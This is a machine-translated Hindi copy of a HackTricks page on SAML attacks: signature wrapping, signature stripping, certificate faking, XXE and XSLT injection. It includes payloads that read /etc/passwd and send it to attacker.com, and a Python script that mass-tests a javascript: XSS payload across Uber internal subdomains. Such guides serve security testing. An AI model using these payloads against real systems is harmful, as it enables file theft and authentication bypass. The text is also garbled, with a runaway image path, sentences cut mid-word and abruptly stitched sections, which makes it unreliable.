.. | ||
README.md | ||
saml-basics.md |
SAML हमले
SAML हमले
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या फॉलो करें मुझे Twitter 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।
मूलभूत जानकारी
{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}
हमले ग्राफिक
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
आधेरे रेक्समल 3.2.4 या उससे पहले के संस्करण पर प्रोग्राम चलाने से निम्नलिखित आउटपुट मिलेगा:
First child in original doc: Y
First child after round-trip: Z
यहां दिए गए प्रोग्राम से REXML ने मूल XML दस्तावेज़ को देखा:
और यहां उसे पार्सिंग और सीरियलाइज़ेशन के एक दौर के बाद देखा:
इस विकल्पता और इसे कैसे उपयोग करने के बारे में अधिक जानकारी के लिए:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping हमले
XML दस्तावेज़ जिनमें XML सिग्नेचर होते हैं, आमतौर पर दो अलग-अलग चरणों में प्रोसेस किए जाते हैं: सिग्नेचर सत्यापन और फंक्शन इनवोकेशन (व्यापार तार्किक)। यदि दोनों मॉड्यूलों के पास डेटा पर अलग-अलग दृष्टिकोण होता है, तो XML सिग्नेचर रैपिंग हमले (XSW) नामक एक नई श्रेणी की सुरक्षा कमजोरी होती है। इन हमलों में, हमलावर XML सिग्नेचर को अवैध तत्वों को इंजेक्ट करके संदेश संरचना में परिवर्तन करता है, जो XML सिग्नेचर को अमान्य नहीं बनाता है। इस परिवर्तन का उद्देश्य संदेश को ऐसे तरीके से बदलना है कि एप्लिकेशन तार्किक और सिग्नेचर सत्यापन मॉड्यूल दोनों संदेश के अलग-अलग हिस्सों का उपयोग करें। इस प्रकार, प्राप्तकर्ता XML सिग्नेचर की सत्यापन सफलतापूर्वक करता है लेकिन एप्लिकेशन तार्किक अमान्य तत्व को प्रोसेस करता है। हमलावर इस तरीके से अखंडता संरक्षण और मूल XML सिग्नेचर की मूल सत्यापन को चकाना लगाता है और विचित्र सामग्री इंजेक्ट कर सकता है।
SAML अनुरोध से:
XSW #1
हमलावर एक नया रूट तत्व जो सिग्नेचर में पाया जाता है, जो इसलिए हो सकता है क्योंकि सत्यापनकर्ता सिग्नेचर की अखंडता की जांच करता है, वह यह देख सकता है कि उसने अखंडता की जांच की है या नहीं, और वह लाल रंग में शामिल नए उत्तर -> दावा -> विषय की अखंडता की जांच के साथ भ्रमित हो सकता है और इसका उपयोग उसके डेटा का कर सकता है।
XSW #2
#1 के साथ अंतर यह है कि उपयोग किया गया सिग्नेचर का प्रकार एक अलग-अलग सिग्नेचर है जहां XSW #1 ने एक आवृत्त सिग्नेचर का उपयोग किया था। ध्यान दें कि नई शैतानी संरचना पहले की तरह ही है जो अखंडता जांच करने के बाद व्यापार तार्किक को भ्रमित करने का प्रयास कर रही है।
XSW #3
इस हमले में, एक शैतानी दावा मूल दावे के समान स्तर पर बनाया जाता है ताकि व्यापार तार्किक को भ्रमित करने का प्रयास किया जा सके और शैतानी डेटा का उपयोग किया जा सके।
XSW #4
XSW #3 के समान है, केवल इस मामले में मूल दावा को एक बच्चा बनाया जाता है।
XSW #5
XSW #5 में सिग्नेचर और मूल दावा तीन मानक विन्यासों में नहीं हैं (एनवेलोप्ड / एनवेलोपिंग / डिटेच्ड)। इस मामले में, कॉपी किए गए दावे ने सिग्नेचर को आवृत्त किया है।
XSW #6
XSW #6 अपने कॉपी किए गए दावे को # 4 और 5 के समान स्थान में डालता है। यहां दिलचस्प टुकड़ा यह है कि कॉपी किए गए दावे ने सिग्नेचर को आवृत्त किया है, जो फिर मूल दावे को आवृत्त करता है।
XSW #7
XSW #7 एक एक्सटेंशन्स तत्व डालता है और कॉपी किए गए दावा को बच्चा के रूप में जोड़ता है। एक्सटेंशन्स एक मान्य XML तत्व है जिसमें एक कम सीमित स्कीमा परिभाषा होती है। इस व्हाइट पेपर के लेखकों ने इस विधि को खोलने के लिए विकास किया था। ओपनएसएमएल ने स्कीमा सत्यापन का उपयोग करके सिग्नेचर सत्यापन के दौरान उपयोग किए गए आईडी को संसाधित क
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
उपकरण
आप एक SAML अनुरोध से POC उत्पन्न करने के लिए Burp एक्सटेंशन SAML Raider का उपयोग कर सकते हैं, जिससे XXE संकटों के लिए परीक्षण कर सकते हैं।
इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI
SAML के माध्यम से XSLT
XSLT के बारे में अधिक जानकारी के लिए जाएं:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}
एक्सटेंसिबल स्टाइलशीट भाषा परिवर्तन (XSLT) XML दस्तावेज़ों को HTML, JSON या PDF जैसे अन्य दस्तावेज़ प्रकार में परिवर्तित करने के लिए एक Turing-complete भाषा है। यहां ध्यान देने योग्य एक महत्वपूर्ण पहलू है कि हमले को सफल करने के लिए एक मान्य हस्ताक्षर की आवश्यकता नहीं होती है। इसका कारण यह है कि XSLT परिवर्तन हस्ताक्षर की सत्यापन के लिए प्रोसेस किए जाने से पहले होता है। मूल रूप से, हमें एक साइन किए गए SAML प्रतिक्रिया की आवश्यकता होती है ताकि हम हमला कर सकें, लेकिन हस्ताक्षर स्व-साइन या अमान्य हो सकता है।
यहां आप इस प्रकार की संकटों के लिए जांच करने के लिए एक POC पा सकते हैं, इस खंड की शुरुआत में उल्लिखित हैकट्रिक्स पेज पर आप पेलोड के लिए पा सकते हैं।
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
उपकरण
आप एक्सेस कर सकते हैं बर्प एक्सटेंशन SAML रेडर का उपयोग करके SAML अनुरोध से POC उत्पन्न करने के लिए और संभावित XSLT संकटों के लिए परीक्षण करने के लिए।
इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML हस्ताक्षर छोड़ना
हस्ताक्षर छोड़ने का उपयोग किया जाता है ताकि परीक्षण किया जा सके कि SAML कार्यान्वयन कैसे व्यवहार करता है जब कोई हस्ताक्षर तत्व नहीं होता है। जब हस्ताक्षर तत्व अनुपस्थित होता है, तो हस्ताक्षर सत्यापन चरण पूरी तरह से छोड़ दिया जा सकता है। यदि हस्ताक्षर की पुष्टि नहीं की जाती है, तो किसी भी सामग्री को जो सामान्यतः हस्ताक्षरित होती है, हमलावार द्वारा उसमें हस्ताक्षरित किया जा सकता है।
उपकरण
हस्ताक्षर छोड़ने के लिए, SAML प्रतिक्रिया को अवरोधित करने के बाद हस्ताक्षर हटाएं
पर क्लिक करें। इस प्रक्रिया में सभी हस्ताक्षर तत्व हटा दिए जाते हैं।
हस्ताक्षरों को हटाने के बाद, अनुरोध को लक्ष्य तक आगे बढ़ने दें। यदि सेवा द्वारा हस्ताक्षर की आवश्यकता नहीं है
प्रमाणपत्र नकली
प्रमाणपत्र नकली का मतलब है कि सेवा प्रदाता सत्यापित करता है कि एक विश्वसनीय पहचान प्रदाता ने SAML संदेश पर हस्ताक्षर किया है। SP और IdP के बीच विश्वसनीय संबंध स्थापित होता है और हर बार एक SAML संदेश प्राप्त होता है, इसे सत्यापित किया जाना चाहिए। इसका मतलब है कि हमें एक स्व-हस्ताक्षरित प्रमाणपत्र का उपयोग करके SAML प्रतिक्रिया या दावा पर हस्ताक्षर करने की कोशिश करनी है।
उपकरण
बर्प एक्सटेंशन SAML रेडर का उपयोग किया जाएगा।
प्रमाणपत्र नकली करने के लिए, सामान्यतः SAML प्रतिक्रिया को अवरोधित करें।
यदि प्रतिक्रिया में हस्ताक्षर शामिल है, तो प्रमाणपत्र को SAML रेडर प्रमाणपत्रों को भेजें
बटन का उपयोग करें।
प्रमाणपत्र भेजने के बाद, हमें SAML रेडर प्रमाणपत्र टैब में एक आयातित प्रमाणपत्र दिखाई देना चाहिए। वहां पहुंचने के बाद, हम आयातित प्रमाणपत्र को हाइलाइट करते हैं और सहेजें और स्व-हस्ताक्षर
बटन दबाते हैं।
ऐसा करने से मूल प्रमाणपत्र की एक स्व-हस्ताक्षरित क्लोन उत्पन्न होता है। अब संदर्भ में वापस लौटने का समय है जो बर्प के प्रॉक्सी में धारित है। पहले, XML हस्ताक्षर ड्रॉपडाउन मेनू से नया स्व-हस्ताक्षरित प्रमाणपत्र चुनें। फिर हस्ताक्षर हटाएं
बटन का उपयोग करें किसी भी मौजूदा हस्ताक्षरों को हटाने के लिए। अंत में, (पुनः) संदेश को हस्ताक्षरित करें
या (
पुनः) दावा को हस्ताक्षरित करें
** बटन का उपयोग करें (जो भी आपकी दी गई स्थिति में अधिक उपयुक्त हो)।
स्व-हस्ताक्षरित प्रमाणपत्र के साथ संदेश को हस्ताक्षरित करने के बाद, उसे आगे भेजें। यदि हम प्रमाणित होते हैं, तो हमें पता चलता है कि हम अपने SAML संदेश को हस्ताक्षर कर सकते हैं। SAML संदेश को हस्ताक्षर करने की क्षमता हमें यह जानने का अर्थ है कि हम Assertion में मानों को बदल सकते हैं और वे सेवा प्रदाता द्वारा स्वीकार किए जाएंगे।
टोकन प्राप्तकर्ता भ्रम / सेवा प्रदाता लक्ष्य भ्रम <a href
https://carbon-prototype.uberinternal.com:443/oidauth/logout
यह एक लॉगआउट पेज है, मैंने ऊपर दिए गए लिंक को खोला और यह मुझे निम्नलिखित पेज पर रीडायरेक्ट कर दिया।
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
बेस पैरामीटर एक URL ले रहा है, इसलिए क्या हम उसे पुराने क्लासिक javascript:alert(123);
से बदल देंगे ताकि XSS को ट्रिगर किया जा सके।
बड़े पैमाने पर उत्पन्नता
SAMLExtractor का उपयोग करके जो URL की सूची ले सकता है और फिर आपको कॉलबैक (SAML सेवन) URL दे सकता है, मैंने फैडयोस्मैन के उपकरण को uberinternal.com
के सभी सबडोमेन्स के साथ खिलाया देखने के लिए फ़ीड करने का निर्णय लिया और वहां एक और डोमेन था जो उसी लाइब्रेरी का उपयोग करता था।
अगला मैंने एक स्क्रिप्ट बनाया जो विकल्प पृष्ठ oidauth/prompt
को कॉल करता है और XSS की कोशिश करता है और यदि मेरा इनपुट प्रतिबिंबित होता है तो मुझे एक अच्छा संकटपूर्ण संदेश देता है।
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
संदर्भ
यह हमारे द्वारा https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/ से प्राप्त हुए हैं
आप https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/ में अतिरिक्त संसाधन और लेख पा सकते हैं।
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष NFT संग्रह।
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके hacktricks repo और hacktricks-cloud repo को साझा करें।